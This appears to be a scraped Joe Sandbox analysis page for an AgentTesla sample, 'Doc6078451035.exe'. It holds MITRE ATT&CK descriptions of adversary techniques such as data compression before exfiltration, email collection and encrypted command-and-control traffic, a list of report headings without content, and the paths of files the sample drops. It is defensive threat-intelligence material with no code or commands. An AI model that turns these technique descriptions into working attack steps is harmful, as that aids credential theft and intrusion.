Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Doc6078451035.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Doc6078451035.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Hdoyoyt.exe.log

C:\Users\user\AppData\Roaming\Hdoyoyt.exe

C:\Users\user\AppData\Roaming\Hdoyoyt.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
Doc6078451035.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre